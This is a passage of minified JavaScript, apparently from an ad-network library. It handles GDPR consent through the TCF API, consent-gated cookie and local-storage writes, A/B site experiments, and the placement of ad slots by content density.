a={__tcfapiReturn:{returnValue:e,success:n,callId:r.callId}};i==null||i.postMessage(t?JSON.stringify(a):a,`*`)},r.parameter)},!1)},rt=()=>
875{if(et(),Y())return!1;let e=!1;return J(window.__tcfapi)||(window.__tcfapi=tt(),nt(),e=!0),$e(),window.__tcfapiQueue=G,e},it=(e,t=2,n,r)=>{if(e===void 0)return;let i=Y();i?i(e,t,n,r):(G.push([e,t,n,r]),rt())},at=(e,t=2,n,r)=>{it(e,t,n,r)},ot=(e=1e4)=>new Promise((t,n)=>{let r,i=!1,a=(e,a)=>{i||(i=!0,r&&clearTimeout(r),a&&e?t(e):n(Error(`Failed to retrieve TCData`)))};e>0&&(r=setTimeout(()=>{i||(i=!0,Qe(a,2),n(Error(`TCF API request timed out`)))},e)),at(`getTCData`,2,a)}),st=[`mcmpfreqrec`],Z=new class extends Ze{constructor(...e){super(...e),s(this,`name`,`BrowserStorage`),s(this,`disable`,!1),s(this,`gdprPurposes`,[1]),s(this,`_sessionStorageHandlerQueue`,[]),s(this,`_localStorageHandlerQueue`,[]),s(this,`_cookieHandlerQueue`,[]),s(this,`_gdpr`,void 0),s(this,`_shouldQueue`,!1),s(this,`_storageConsentGranted`,void 0),s(this,`_storageConsentUpdateInFlight`,0),s(this,`_storageConsentBeforeLatestUpdate`,void 0)}init(e,t){this._gdpr=e.gdpr===`true`,this._shouldQueue=this._gdpr,this._gdpr&&t&&(t.consentResponseCaptured.on(()=>{this._refreshStorageConsent(`consentResponseCaptured`)}),t.consentChanged.on(()=>{this._refreshStorageConsent(`consentChanged`)}))}_isGdprFromGlobal(){if(typeof window>`u`||!window.adthrive)return!1;let e=window.adthrive;return`gdprEnabled`in e?!!e.gdprEnabled:e.gdpr===`true`}_shouldQueueWrite(){return this._gdpr===void 0?this._isGdprFromGlobal():this._gdpr&&this._shouldQueue}isInGdprQueueMode(){return this._shouldQueueWrite()}_refreshStorageConsent(e){this._storageConsentBeforeLatestUpdate=this._storageConsentGranted,this._storageConsentUpdateInFlight+=1,this._updateStorageConsent().catch(e=>{}).then(()=>{this._storageConsentUpdateInFlight=Math.max(0,this._storageConsentUpdateInFlight-1)})}async _updateStorageConsent(){var e;let t=await ot();!(t==null||(e=t.purpose)==null)&&e.consents&&(this._storageConsentGranted=t.purpose.consents[1]===!0)}_getStorageWriteAvailability(e,t){try{let n=window[e];n.setItem(t,`1`);let r=n.getItem(t);return n.removeItem(t),r===`1`?{available:!0}:{available:!1,error:Error(`${e} write probe value mismatch`)}}catch(e){return{available:!1,error:e}}}getStorageApiAvailability(){return{localStorage:this._getStorageWriteAvailability(`localStorage`,`__adthrive_localstorage_test__`).available,sessionStorage:this._getStorageWriteAvailability(`sessionStorage`,`__adthrive_sessionstorage_test__`).available}}clearQueue(e,t){t!==void 0&&(this._storageConsentGranted=t);let n=this._gdpr&&this._hasStorageConsent()===!1,r=e&&n&&this.disable===!1&&this._storageConsentUpdateInFlight>0&&this._storageConsentBeforeLatestUpdate===!1;r&&(this._storageConsentGranted=!0),e&&(!n||r)&&(this._shouldQueue=!1,this._sessionStorageHandlerQueue.forEach(e=>{this.setSessionStorage(e.key,e.value)}),this._localStorageHandlerQueue.forEach(e=>{if(e.key===`adthrive_abgroup`){let t=Object.keys(e.value)[0],n=e.value[t],r=e.value[`${t}_weight`];this.getOrSetABGroupLocalStorageValue(t,n,r,{value:24,unit:`hours`})}else e.expiry?e.type===`internal`?this.setExpirableInternalLocalStorage(e.key,e.value,{expiry:e.expiry,resetOnRead:e.resetOnRead}):this.setExpirableExternalLocalStorage(e.key,e.value,{expiry:e.expiry,resetOnRead:e.resetOnRead}):e.type===`internal`?this.setInternalLocalStorage(e.key,e.value):this.setExternalLocalStorage(e.key,e.value)}),this._cookieHandlerQueue.forEach(e=>{e.type===`internal`?this.setInternalCookie(e.key,e.value):this.setExternalCookie(e.key,e.value)})),this._sessionStorageHandlerQueue=[],this._localStorageHandlerQueue=[],this._cookieHandlerQueue=[]}readInternalCookie(e){return this._verifyInternalKey(e),this._readCookie(e)}readExternalCookie(e){return this._readCookie(e)}readExternalCookieList(e){return this._readCookieList(e)}getAllCookies(){return this._getCookies()}readInternalLocalStorage(e){return this._verifyInternalKey(e),this._readFromLocalStorage(e)}readExternalLocalStorage(e){return this._readFromLocalStorage(e)}readSessionStorage(e){let t=window.sessionStorage.getItem(e);if(!t)return null;try{return JSON.parse(t)}catch{return t}}getLocalStorageWriteAvailability(){return this._getStorageWriteAvailability(`localStorage`,`__adthrive_local_storage_probe__`)}
875deleteCookie(e){if(!this.disable){if(this._shouldQueueWrite()){this._cookieHandlerQueue=this._cookieHandlerQueue.filter(t=>t.key!==e);return}document.cookie=`${e}=; SameSite=None; Secure; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/`}}purgeCookie(e){this._cookieHandlerQueue=this._cookieHandlerQueue.filter(t=>t.key!==e);try{document.cookie=`${e}=; SameSite=None; Secure; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/`}catch{}}deleteLocalStorage(e){if(!this.disable){if(this._shouldQueueWrite()){this._localStorageHandlerQueue=this._localStorageHandlerQueue.filter(t=>t.key!==e);return}window.localStorage.removeItem(e)}}purgeLocalStorage(e){this._localStorageHandlerQueue=this._localStorageHandlerQueue.filter(t=>t.key!==e);try{window.localStorage.removeItem(e)}catch{}}deleteSessionStorage(e){if(!this.disable){if(this._shouldQueueWrite()){this._sessionStorageHandlerQueue=this._sessionStorageHandlerQueue.filter(t=>t.key!==e);return}window.sessionStorage.removeItem(e)}}purgeSessionStorage(e){this._sessionStorageHandlerQueue=this._sessionStorageHandlerQueue.filter(t=>t.key!==e);try{window.sessionStorage.removeItem(e)}catch{}}_hasStorageConsent(){if(this._storageConsentGranted!==void 0)return this._storageConsentGranted}setInternalCookie(e,t,n){this.disable||(this._verifyInternalKey(e),this._setCookieValue(`internal`,e,t,n))}setExternalCookie(e,t,n){this.disable||this._setCookieValue(`external`,e,t,n)}setInternalLocalStorage(e,t){if(!this.disable)if(this._verifyInternalKey(e),this._shouldQueueWrite()){let n={key:e,value:t,type:`internal`};this._localStorageHandlerQueue.push(n)}else{let n=typeof t==`string`?t:JSON.stringify(t);window.localStorage.setItem(e,n)}}setExternalLocalStorage(e,t){if(!this.disable)if(this._shouldQueueWrite()){let n={key:e,value:t,type:`external`};this._localStorageHandlerQueue.push(n)}else{let n=typeof t==`string`?t:JSON.stringify(t);window.localStorage.setItem(e,n)}}setExpirableInternalLocalStorage(e,t,n){if(!this.disable){this._verifyInternalKey(e);try{let r=(n==null?void 0:n.expiry)??{value:400,unit:`days`},i=(n==null?void 0:n.resetOnRead)??!1;if(this._shouldQueueWrite()){let n={key:e,value:t,type:`internal`,expires:this._getExpiryDate(r),expiry:r,resetOnRead:i};this._localStorageHandlerQueue.push(n)}else{let n={value:t,type:`internal`,expires:this._getExpiryDate(r),expiry:r,resetOnRead:i};window.localStorage.setItem(e,JSON.stringify(n))}}catch(e){console.error(e)}}}setExpirableExternalLocalStorage(e,t,n){if(!this.disable)try{let r=(n==null?void 0:n.expiry)??{value:400,unit:`days`},i=(n==null?void 0:n.resetOnRead)??!1;if(this._shouldQueueWrite()){let n={key:e,value:JSON.stringify(t),type:`external`,expires:this._getExpiryDate(r),expiry:r,resetOnRead:i};this._localStorageHandlerQueue.push(n)}else{let n={value:t,type:`external`,expires:this._getExpiryDate(r),expiry:r,resetOnRead:i};window.localStorage.setItem(e,JSON.stringify(n))}}catch(e){console.error(e)}}setSessionStorage(e,t){if(!this.disable)if(this._shouldQueueWrite()){let n={key:e,value:t};this._sessionStorageHandlerQueue.push(n)}else{let n=typeof t==`string`?t:JSON.stringify(t);window.sessionStorage.setItem(e,n)}}getOrSetABGroupLocalStorageValue(e,t,n,r,i=!0){let a=`adthrive_abgroup`;if(this._shouldQueueWrite()){let o={[e]:t,[`${e}_weight`]:n};return r?this.setExpirableInternalLocalStorage(a,o,{expiry:r,resetOnRead:i}):this.setInternalLocalStorage(a,o),[t,n]}let o=this.readInternalLocalStorage(a);if(o!==null){let t=o[e],n=o[`${e}_weight`]??null;if(this._isValidABGroupLocalStorageValue(t))return[t,n]}let s={...o,[e]:t,[`${e}_weight`]:n};return r?this.setExpirableInternalLocalStorage(a,s,{expiry:r,resetOnRead:i}):this.setInternalLocalStorage(a,s),[t,n]}_isValidABGroupLocalStorageValue(e){return e!=null&&!(typeof e==`number`&&isNaN(e))}_getExpiryDate({value:e,unit:t}){let n=new Date;return t===`milliseconds`?n.setTime(n.getTime()+e):t==`seconds`?n.setTime(n.getTime()+e*1e3):t===`minutes`?n.setTime(n.getTime()+e*60*1e3):t===`hours`?n.setTime(n.getTime()+e*60*60*1e3):t===`days`?n.setTime(n.getTime()+e*24*60*60*1e3):t===`months`&&n.setTime(n.getTime()+e*30*24*60*60*1e3),n.toUTCString()}_resetExpiry(e){return e.expires=this._getExpiryDate(e.expiry),e}_readCookie(e){let t=document.cookie.split(`; `).find(t=>t.split(`=`)[0]===e);if(!t)return null;let n=t.split(`=`)[1];if(n)try{return JSON.parse(decodeURIComponent(n))}catch{return decodeURIComponent(n)}return null}_readCookieList(e){let t;for(let n of document.cookie.split(`;`)){let[r,...i]=n.split(`=`);r.trim()===e&&(t=i.join(`=`).trim())}return t&&JSON.parse(t)||[]}_getCookies(){let e=[];return document.cookie.split(`;`).forEach(t=>{let[n,r]=t.split(`=`).map(e=>e.trim());e.push({name:n,value:r})}),e}_readFromLocalStorage(e){let t=window.localStorage.getItem(e);if(!t)return null;try{let n=JSON.parse(t),r=n.expires&&new Date().getTime()>=new Date(n.expires).getTime();if(e===`adthrive_abgroup`&&n.created)return window.localStorage.removeItem(e),null;if(n.resetOnRead&&n.expires&&!r){let t=this._resetExpiry(n);return window.localStorage.setItem(e,JSON.stringify(n)),t.value??t}else if(r)return window.localStorage.removeItem(e),null;if(Object.prototype.hasOwnProperty.call(n,`value`))try{return JSON.parse(n.value)}catch{return n.value}else return n}catch{return t}}_setCookieValue(e,t,n,r){try{if(this._shouldQueueWrite()){let r={key:t,value:n,type:e};this._cookieHandlerQueue.push(r)}else{let e=this._getExpiryDate((r==null?void 0:r.expiry)??{value:400,unit:`days`}),i=(r==null?void 0:r.sameSite)??`None`,a=(r==null?void 0:r.secure)??!0,o=typeof n==`object`?JSON.stringify(n):n;document.cookie=`${t}=${o}
875; SameSite=${i}; ${a?`Secure;`:``} expires=${e}; path=/`}}catch{}}_verifyInternalKey(e){let t=e.startsWith(`adthrive_`),n=e.startsWith(`adt_`);if(!t&&!n&&!st.includes(e))throw Error(`When reading an internal cookie, the key must start with "adthrive_" or "adt_" or be part of the allowed legacy keys.`)}},ct=e=>{let t=5381,n=e.length;for(;n;)t=t*33^e.charCodeAt(--n);return t>>>0},lt=e=>ct(e).toString(16),ut=e=>{if(e===null)return null;let t=e.map(({choice:e})=>e);return lt(JSON.stringify(t))},dt=(e,t)=>{var n;return((n=e.find(({choice:e})=>e===t))==null?void 0:n.weight)??null},ft=e=>e!=null&&!(typeof e==`number`&&isNaN(e)),pt=(e,t)=>{if(Z.isInGdprQueueMode())return t();let n=ut(e._choices),r=((e._expConfigABGroup?e._expConfigABGroup:e.abgroup)||e.key||``).toLowerCase(),i=n?`${r}_${n}`:r,a=e.localStoragePrefix?`${e.localStoragePrefix}-${i}`:i,o=Z.readInternalLocalStorage(`adthrive_branch`);(o&&o.enabled)===!1&&Z.deleteLocalStorage(a);let s=t(),c=dt(e._choices,s),[l,u]=Z.getOrSetABGroupLocalStorageValue(a,s,c,{value:24,unit:`hours`});return e._stickyResult=l,e._stickyWeight=u,l},mt=(e=window.location.search)=>{let t=+(e.indexOf(`?`)===0);return e.slice(t).split(`&`).reduce((e,t)=>{let[n,r]=t.split(`=`);return e.set(n,r),e},new Map)},ht=e=>{let t={},n=mt().get(e);if(n)try{let r=decodeURIComponent(n).replace(/\+/g,``);t=JSON.parse(r),F.event(`ExperimentOverridesUtil`,`getExperimentOverrides`,e,t)}catch(e){e instanceof URIError}return t},gt=(e,t)=>typeof e==typeof t,_t=(e,t)=>{let n=e.adDensityEnabled,r=e.adDensityLayout.pageOverrides.find(e=>!!document.querySelector(e.pageSelector)&&(e[t].onePerViewport||typeof e[t].adDensity==`number`));return n?!r:!0},vt=e=>{var t;let n=(t=e.videoPlayers)==null||(t=t.partners)==null||(t=t.stickyOutstream)==null?void 0:t.blockedPageSelectors;return n?!document.querySelector(n):!0},yt=e=>{let t=e.adOptions.interstitialBlockedPageSelectors;return t?!document.querySelector(t):!0},bt=(e,t,n)=>{switch(t){case H.AdDensity:return _t(e,n);case H.StickyOutstream:return vt(e);case H.Interstitial:return yt(e);default:return!0}},xt=e=>e.length===1,St=e=>{let t=e.reduce((e,t)=>t.weight?t.weight+e:e,0);return e.length>0&&e.every(e=>{let t=e.value,n=e.weight;return!!(t!=null&&!(typeof t==`number`&&isNaN(t))&&n)})&&t===100},Ct=(e,t)=>{if(!e)return!1;let n=!!e.enabled,r=e.dateStart==null||Date.now()>=e.dateStart,i=e.dateEnd==null||Date.now()<=e.dateEnd,a=e.selector===null||e.selector!==``&&!!document.querySelector(e.selector),o=e.platform===`mobile`&&t===`mobile`,s=e.platform===`desktop`&&t===`desktop`,c=e.platform===null||e.platform===`all`||o||s,l=e.experimentType===`bernoulliTrial`?xt(e.variants):St(e.variants);return l||F.error(`SiteTest`,`validateSiteExperiment`,`experiment presented invalid choices for key:`,e.key,e.variants),n&&r&&i&&a&&c&&l};var wt=class{constructor(e){var t;s(this,`siteExperiments`,[]),s(this,`_clsOptions`,void 0),s(this,`_device`,void 0),this._clsOptions=e,this._device=D()?`mobile`:`desktop`,this.siteExperiments=((t=this._clsOptions.siteAds.siteExperiments)==null?void 0:t.filter(e=>{let t=e.key,n=Ct(e,this._device),r=bt(this._clsOptions.siteAds,t,this._device);return n&&r}))??[]}getSiteExperimentByKey(e){let t=this.siteExperiments.filter(t=>t.key.toLowerCase()===e.toLowerCase())[0],n=ht(`at_site_features`),r=gt(t!=null&&t.variants[1]?t==null?void 0:t.variants[1].value:t==null?void 0:t.variants[0].value,n[e]);return t&&n[e]&&r&&(t.variants=[{displayName:`test`,value:n[e],weight:100,id:0}]),t}},Tt=class{constructor(){s(this,`experimentConfig`,void 0)}get enabled(){return this.experimentConfig!==void 0}_isValidResult(e,t=()=>!0){return t()&&ft(e)}},Et=class extends Tt{constructor(...e){super(...e),s(this,`_resultValidator`,()=>!0)}_isValidResult(e){return super._isValidResult(e,()=>this._resultValidator(e)||e===`control`)}run(){if(!this.enabled)return F.error(`CLSWeightedChoiceSiteExperiment`,`run`,`() => %o`,`No experiment config found. Defaulting to control.`),`control`;if(!this._mappedChoices||this._mappedChoices.length===0)return F.error(`CLSWeightedChoiceSiteExperiment`,`run`,`() => %o`,`No experiment variants found. Defaulting to control.`),`control`;let e=new V(this._mappedChoices).get();return this._isValidResult(e)?e:(F.error(`CLSWeightedChoiceSiteExperiment`,`run`,`() => %o`,`Invalid result from experiment choices. Defaulting to control.`),`control`)}}
875,Dt=class extends Et{constructor(e){super(),s(this,`_choices`,[]),s(this,`_mappedChoices`,[]),s(this,`_result`,``),s(this,`_clsSiteExperiments`,void 0),s(this,`_resultValidator`,e=>typeof e==`string`),s(this,`key`,H.AdLayout),s(this,`abgroup`,H.AdLayout),this._clsSiteExperiments=new wt(e),this.experimentConfig=this._clsSiteExperiments.getSiteExperimentByKey(this.key),this.enabled&&this.experimentConfig&&(this._choices=this.experimentConfig.variants,this._mappedChoices=this._mapChoices(),this._result=this.run(),e.setWeightedChoiceExperiment(this.abgroup,this._result,!0))}get result(){return this._result}run(){return pt(this,()=>{if(!this.enabled)return F.error(`CLSAdLayoutSiteExperiment`,`run`,`() => %o`,`No experiment config found. Defaulting to empty class name.`),``;let e=new V(this._mappedChoices).get();return this._isValidResult(e)?e:(F.error(`CLSAdLayoutSiteExperiment`,`run`,`() => %o`,`Invalid result from experiment choices. Defaulting to empty class name.`),``)})}_mapChoices(){return this._choices.map(({weight:e,value:t})=>({weight:e,choice:t}))}},Ot=class extends Et{constructor(e){super(),s(this,`_choices`,[]),s(this,`_mappedChoices`,[]),s(this,`_result`,`control`),s(this,`_clsSiteExperiments`,void 0),s(this,`_resultValidator`,e=>typeof e==`number`),s(this,`key`,H.AdDensity),s(this,`abgroup`,H.AdDensity),this._clsSiteExperiments=new wt(e),this.experimentConfig=this._clsSiteExperiments.getSiteExperimentByKey(this.key),this.enabled&&this.experimentConfig&&(this._choices=this.experimentConfig.variants,this._mappedChoices=this._mapChoices(),this._result=this.run(),e.setWeightedChoiceExperiment(this.abgroup,this._result,!0))}get result(){return this._result}run(){return pt(this,()=>{if(!this.enabled)return F.error(`CLSTargetAdDensitySiteExperiment`,`run`,`() => %o`,`No experiment config found. Defaulting to control.`),`control`;let e=new V(this._mappedChoices).get();return this._isValidResult(e)?e:(F.error(`CLSTargetAdDensitySiteExperiment`,`run`,`() => %o`,`Invalid result from experiment choices. Defaulting to control.`),`control`)})}_mapChoices(){return this._choices.map(({weight:e,value:t})=>({weight:e,choice:typeof t==`number`?(t||0)/100:`control`}))}},kt=class{constructor(){s(this,`_clsOptions`,new c),s(this,`shouldUseCoreExperimentsConfig`,!1)}setExperimentKey(e=!1){this._clsOptions.setExperiment(this.abgroup,this.result,e)}},At=class extends kt{constructor(){super(),s(this,`key`,`SMRA`),s(this,`abgroup`,`smra1`),s(this,`_result`,!1),D()&&(this._result=this.run(),this.setExperimentKey())}run(){return new u(.05).get()}get result(){return this._result}};let Q=`250px`;var jt=class{constructor(t,n){this._clsOptions=t,this._adInjectionMap=n,s(this,`_recipeCount`,0),s(this,`_mainContentHeight`,0),s(this,`_mainContentDiv`,null),s(this,`_totalAvailableElements`,[]),s(this,`_densityElementCoords`,void 0),s(this,`_minDivHeight`,250),s(this,`_densityDevice`,I.Desktop),s(this,`_pubLog`,{onePerViewport:!1,targetDensity:0,targetDensityUnits:0,combinedMax:0}),s(this,`_smallerIncrementAttempts`,0),s(this,`_absoluteMinimumSpacingByDevice`,250),s(this,`_usedAbsoluteMinimum`,!1),s(this,`_infPageEndOffset`,0),s(this,`locationMaxLazySequence`,new Map([[e.Recipe,5]])),s(this,`locationToMinHeight`,{Below_Post:Q,Content:Q,Recipe:Q,Sidebar:Q}),s(this,`_device`,void 0),s(this,`_smallMobileRecipeAdsExperimentEnabled`,void 0),s(this,`_clsTargetAdDensitySiteExperiment`,void 0);let{tablet:r,desktop:i}=this._clsOptions.siteAds.breakpoints;this._device=Ie(r,i),this._smallMobileRecipeAdsExperimentEnabled=new At().result,this._isSmallMobileRecipeAdLocation(e.Recipe)&&(this.locationToMinHeight.Recipe=`100px`),this._clsTargetAdDensitySiteExperiment=this._clsOptions.siteAds.siteExperiments?new Ot(this._clsOptions):null}start(){try{var e;De(this._device);let n=new Dt(this._clsOptions);if(n.enabled){let e=n.result,t=e.startsWith(`.`)?e.substring(1):e;if(Ye(t))try{document.body.classList.add(t)}catch(e){F.error(`ClsDynamicAdsInjector`,`start`,`Uncaught CSS Class error: ${e}`)}else F.error(`ClsDynamicAdsInjector`,`start`,`Invalid class name: ${t}`)}let r=Ce(this._device,this._clsOptions.siteAds).filter(e=>this._locationEnabled(e)).filter(e=>Te(e,this._device)).filter(e=>Ee(e)),i=this.inject(r),a=this._clsOptions.siteAds.adOptions.stickyContainerConfig;if(!(a==null||(e=a.content)==null)&&e.enabled&&!B(a.blockedSelectors||[],this._logInvalidBlockedSelector.bind(this))){var t;qe(a==null||(t=a.content)==null?void 0:t.minHeight)}
875i.forEach(e=>this._clsOptions.setInjectedSlots(e))}catch(e){F.error(`ClsDynamicAdsInjector`,`start`,e)}}inject(t,n=document){this._densityElementCoords=void 0,this._densityDevice=this._device===`desktop`?I.Desktop:I.Mobile,this._overrideDefaultAdDensitySettingsWithSiteExperiment();let r=this._clsOptions.siteAds,i=k(r.adDensityEnabled,!0),a=r.adDensityLayout&&i,o=t.filter(t=>a?t.location!==e.Content:t),s=t.filter(t=>a?t.location===e.Content:null),c=s.length?this._preserveDensityMeasurements(s,n):!1;return this._capturePreSlotInsertionPageAreaMeasurement(),[...o.length?this._injectNonDensitySlots(o,n):[],...s.length?this._injectDensitySlots(s,n,c):[]]}_injectNonDensitySlots(t,n=document){var r;let i=[],a=[],o=!1;if(t.some(t=>t.location===e.Recipe&&t.sticky)&&!B(((r=this._clsOptions.siteAds.adOptions.stickyContainerConfig)==null?void 0:r.blockedSelectors)||[],this._logInvalidBlockedSelector.bind(this))){var s,c;let t=this._clsOptions.siteAds.adOptions.stickyContainerConfig;Je(this._isSmallMobileRecipeAdLocation(e.Recipe)?100:this._device===`phone`?t==null||(s=t.recipeMobile)==null?void 0:s.minHeight:t==null||(c=t.recipeDesktop)==null?void 0:c.minHeight),o=!0}for(let e of t)this._insertNonDensityAds(e,i,a,n);return o||a.forEach(({location:e,element:t})=>{t.style.minHeight=this.locationToMinHeight[e]}),i}_isSmallMobileRecipeAdLocation(e){return this._smallMobileRecipeAdsExperimentEnabled&&A(e,this._device)}_injectDensitySlots(e,t=document,n=!1){try{n||(this._calculateMainContentHeightAndAllElements(e,t),this._capturePreSlotInsertionMainContentMeasurement(),this._captureDensityElementCoords())}catch{return[]}let{onePerViewport:r,targetAll:i,targetDensityUnits:a,combinedMax:o,numberOfUnits:s}=this._getDensitySettings(e,t);return this._absoluteMinimumSpacingByDevice=r?window.innerHeight:this._absoluteMinimumSpacingByDevice,s?(this._adInjectionMap.filterUsed(),this._findElementsForAds(s,r,i,o,a,t),this._insertAds()):[]}_preserveDensityMeasurements(e,t=document){try{return this._calculateMainContentHeightAndAllElements(e,t),this._capturePreSlotInsertionMainContentMeasurement(),this._captureDensityElementCoords(),!0}catch{return!1}}_overrideDefaultAdDensitySettingsWithSiteExperiment(){var e;if((e=this._clsTargetAdDensitySiteExperiment)!=null&&e.enabled){let e=this._clsTargetAdDensitySiteExperiment.result;typeof e==`number`&&(this._clsOptions.siteAds.adDensityEnabled=!0,this._clsOptions.siteAds.adDensityLayout[this._densityDevice].adDensity=e)}}_getDensitySettings(e,t=document){let{onePerViewport:n,targetAll:r,targetDensity:i,targetDensityUnits:a,combinedMax:o,numberOfUnits:s}=Ne({settings:this._clsOptions.siteAds.adDensityLayout,densityDevice:this._densityDevice,dynamicAds:e,target:t,totalAvailableElements:this._totalAvailableElements.length,mainContentHeight:this._mainContentHeight,minDivHeight:this._minDivHeight,recipeCount:this._recipeCount,selectorContext:this._getDynamicAdSelectorContext.bind(this),onInvalidSelector:({selector:e,selectorType:t,source:n,context:r,error:i})=>{}});return this._pubLog={onePerViewport:n,targetDensity:i,targetDensityUnits:a,combinedMax:o},{onePerViewport:n,targetAll:r,targetDensityUnits:a,combinedMax:o,numberOfUnits:s}}_elementLargerThanMainContent(e){return e.offsetHeight>=this._mainContentHeight&&this._totalAvailableElements.length>1}_elementDisplayNone(e){let t=window.getComputedStyle(e,null).display;return t&&t===`none`||e.style.display===`none`}_isBelowMaxes(e,t){return this._adInjectionMap.map.length<e&&this._adInjectionMap.map.length<t}_findElementsForAds(e,t,n,r,i,a=document){this._clsOptions.targetDensityLog={onePerViewport:t,combinedMax:r,targetDensityUnits:i,targetDensityPercentage:this._pubLog.targetDensity,mainContentHeight:this._mainContentHeight,recipeCount:this._recipeCount,numberOfEls:this._totalAvailableElements.length};let o=t=>{for(let{dynamicAd:o,element:s}of this._totalAvailableElements)if(this._logDensityInfo(s,o.elementSelector,t),!(!n&&this._elementLargerThanMainContent(s)||this._elementDisplayNone(s)))if(this._isBelowMaxes(r,i)){if(this._checkElementSpacing({dynamicAd:o,element:s,insertEvery:t,targetAll:n,target:a}),this._hasReachedQuota(e))return}else break;this._hasReachedQuota(e)||!this._usedAbsoluteMinimum&&this._smallerIncrementAttempts<5&&(++this._smallerIncrementAttempts,o(this._getSmallerIncrement(t)))};o(this._getInsertEvery(e,t,i))}_hasReachedQuota(e){return this._adInjectionMap.map.length>=e}_getSmallerIncrement(e){let t=Fe(e,this._absoluteMinimumSpacingByDevice);return this._usedAbsoluteMinimum=t.usedAbsoluteMinimum,t.insertEvery}
875_insertNonDensityAds(t,n,r,i=document){let{spacing:a,nextAfter:o}=Me(t.spacing,window.innerHeight),s=0,c=this._repeatDynamicAds(t),l=this.getElements(t.elementSelector,i,t),u=this._shouldUseRegularSlotHeightForSpacing(t),d=a>0&&u?this._getElementSpacingBottoms(l):new Map,f=0;t.skip;for(let p=t.skip;p<l.length&&!(s+1>c.length);p+=t.every){let m=l[p];if(a>0){let e=u?(d.get(m)??R(m).bottom)+f:R(m).bottom;if(e<=o)continue;o=e+a}let h=c[s],g=`${h.location}_${h.sequence}`;n.some(e=>e.name===g)&&(s+=1);let _=this.getDynamicElementId(h),v=L(t),y=Oe(t),b=t.location===e.Sidebar&&t.sticky?Ke(h.sequence):``,ee=[t.location===e.Recipe&&t.sticky?`adthrive-recipe-sticky-container`:``,v,y,...t.classNames];if(Xe(m,t.position,t.location)&&t.location===e.Recipe)continue;let x=this.addAd(m,_,t.position,ee,b);if(x){let a=we(h,x);if(a.length){let o={clsDynamicAd:t,dynamicAd:h,element:x,sizes:a,name:g,infinite:i!==document};n.push(o),r.push({location:h.location,element:x}),t.location===e.Recipe&&++this._recipeCount,s+=1,u&&(f+=this._getRegularSlotSpacingHeight(h.location))}m=b&&x.parentElement||x}}}_shouldUseRegularSlotHeightForSpacing(t){var n;return t.location===e.Recipe&&t.sticky&&!B(((n=this._clsOptions.siteAds.adOptions.stickyContainerConfig)==null?void 0:n.blockedSelectors)||[],this._logInvalidBlockedSelector.bind(this))}_getElementSpacingBottoms(e){return Array.from(e).reduce((e,t)=>(e.set(t,R(t).bottom),e),new Map)}_getRegularSlotSpacingHeight(e){let t=parseInt(this.locationToMinHeight[e],10);return Number.isFinite(t)?t:this._minDivHeight}_insertAds(){let e=[],t=0;return this._adInjectionMap.filterUsed(),this._adInjectionMap.map.forEach(({el:n,dynamicAd:r,target:i},a)=>{let o=Number(r.sequence)+a,s=r.max,c=r.lazy&&o>s;r.sequence=o,r.lazy=c;let l=this._addContentAd(n,r,i);l&&(r.used=!0,e.push(l),++t)}),e}_getInsertEvery(e,t,n){let r=Pe({totalAvailableElements:this._totalAvailableElements.length,targetDensityUnits:n,numberOfUnits:e,mainContentHeight:this._mainContentHeight,absoluteMinimumSpacing:this._absoluteMinimumSpacingByDevice,viewportHeight:window.innerHeight,onePerViewport:t});return this._usedAbsoluteMinimum=r.usedAbsoluteMinimum,r.insertEvery}_logDensityInfo(e,t,n){let{onePerViewport:r,targetDensity:i,targetDensityUnits:a,combinedMax:o}=this._pubLog;this._totalAvailableElements.length}_checkElementSpacing({dynamicAd:e,element:t,insertEvery:n,targetAll:r,target:i}){(this._isFirstAdInjected()||this._hasProperSpacing(t,e,r,n))&&this._markSpotForContentAd(t,{...e},i)}_isFirstAdInjected(){return!this._adInjectionMap.map.length}_markSpotForContentAd(e,t,n=document){let r=t.position===`beforebegin`||t.position===`afterbegin`;this._adInjectionMap.addSorted(e,this._getElementCoords(e,r),t,n)}_hasProperSpacing(t,n,r,i){let a=n.position===`beforebegin`||n.position===`afterbegin`,o=n.position===`beforeend`||n.position===`afterbegin`,s=r||this._isElementFarEnoughFromOtherAdElements(t,i,a),c=o||this._isElementNotInRow(t,a),l=t.id.indexOf(`AdThrive_${e.Below_Post}`)===-1;return s&&c&&l}_isElementFarEnoughFromOtherAdElements(e,t,n){let r=this._getElementCoords(e,n),[i,a]=this._adInjectionMap.findNeighborIndices(r),o=i===null?void 0:this._adInjectionMap.map[i].coords,s=a===null?void 0:this._adInjectionMap.map[a].coords;return(o===void 0||r-t>o)&&(s===void 0||r+t<s)}_isElementNotInRow(e,t){let n=e.previousElementSibling,r=e.nextElementSibling,i=t?!n&&r||n&&e.tagName!==n.tagName?r:n:r;if(!i)return!0;let a=e.getBoundingClientRect();if(a.height===0)return!0;let o=i.getBoundingClientRect();return a.top!==o.top}_calculateMainContentHeightAndAllElements(e,t=document){let[n,r]=Ve(e,this._adInjectionMap,t);if(!n)throw Error(`No main content element found`);this._mainContentDiv=n,this._totalAvailableElements=r,this._mainContentHeight=He(this._mainContentDiv)}_captureDensityElementCoords(){this._densityElementCoords=this._totalAvailableElements.reduce((e,{element:t})=>(e.set(t,{bottom:this._getLiveElementCoords(t),top:this._getLiveElementCoords(t,!0)}),e),new WeakMap)}_capturePreSlotInsertionMainContentMeasurement(){window.adthriveCLS&&(window.adthriveCLS.preSlotInsertionMeasurements?window.adthriveCLS.preSlotInsertionMeasurements.mainContentHeight=this._mainContentHeight:window.adthriveCLS.preSlotInsertionMeasurements={mainContentHeight:this._mainContentHeight})}_capturePreSlotInsertionPageAreaMeasurement(){if(window.adthriveCLS){let e=Ue()*We();window.adthriveCLS.preSlotInsertionMeasurements?window.adthriveCLS.preSlotInsertionMeasurements.totalPageArea=e:window.adthriveCLS.preSlotInsertionMeasurements={totalPageArea:e}}}_getElementCoords(e,t=!1){var n;let r=(n=this._densityElementCoords)==null?void 0:n.get(e);return r?t?r.top:r.bottom:this._getLiveElementCoords(e,t)}_getLiveElementCoords(e,t=!1){let n=e.getBoundingClientRect();return(t?n.top:n.bottom)+window.scrollY}_addContentAd(e,t,n=document){var r;let i=null,a=L(t),o=Oe(t),s=this._clsOptions.siteAds.adOptions.stickyContainerConfig,c=s==null||(r=s.content)==null?void 0:r.enabled,l=c?`adthrive-sticky-container`:``,u=this.addAd(e,this.getDynamicElementId(t),t.position,[l,a,o,...t.classNames]);if(u){let e=we(t,u);if(e.length){var 